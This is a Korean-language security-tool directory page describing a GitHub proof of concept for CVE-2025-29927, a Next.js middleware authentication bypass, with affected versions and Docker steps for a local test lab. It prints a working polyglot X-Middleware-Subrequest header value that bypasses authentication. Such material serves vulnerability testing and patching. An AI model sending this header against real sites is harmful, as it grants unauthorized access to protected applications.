Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/alihussainzada/cve-2025-29927-poc
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubalihussainzada/cve-2025-29927-poc

CVE-2025-29927-PoC

CVE-2025-29927에 대한 PoC: Next.js 미들웨어 우회 취약점. x-middleware-subrequest가 인증 검사를 우회할 수 있는 방법을 보여줍니다. 테스트를 위한 Docker 설정을 포함합니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
5131년 전아직 검토되지 않음

CVE-2025-29927: Next.js 미들웨어 우회 취약점 PoC

이 저장소는 Next.js의 CVE-2025-29927 취약점을 시연합니다. 이 취약점은 내부 헤더 x-middleware-subrequest를 사용하여 인증과 같은 미들웨어 검사를 우회할 수 있습니다.

영향받는 버전

  • Next.js 15.x < 15.2.3
  • Next.js 14.x < 14.2.25
  • Next.js 13.x < 13.5.9

재현 단계

1. 저장소 복제:

root@kitploit:~
git clone https://github.com/alihussainzada/CVE-2025-29927-PoC.git

2. 프로젝트 폴더로 이동:

root@kitploit:~
cd CVE-2025-29927-PoC

3. 시크릿 생성:

root@kitploit:~
openssl rand -base64 32

4. .env 파일에서 시크릿 업데이트:

root@kitploit:~
NEXTAUTH_SECRET=your_generated_secret

5. Docker로 빌드 및 실행:

root@kitploit:~
docker build -t nextjs .
docker run -p 3000:3000 --env-file .env nextjs

개념 증명

다양한 잠재적 사례를 효과적으로 커버할 수 있는 폴리글롯을 사용하여 이 문제의 악용을 크게 단순화할 수 있습니다. 우리는 인증 우회의 존재를 확인하는 데 사용되는 다음 HTTP 헤더를 통해 이를 달성했습니다:

root@kitploit:~
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware

사용자 리디렉션

악용 예시

크레딧/출처

  • CVE-2025-29927에 관한 Next.js 블로그
  • Zhero 웹 보안 연구: Next.js와 손상된 미들웨어
  • Assetnote 보안 연구: Next.js 미들웨어 우회 분석
도구 다운로드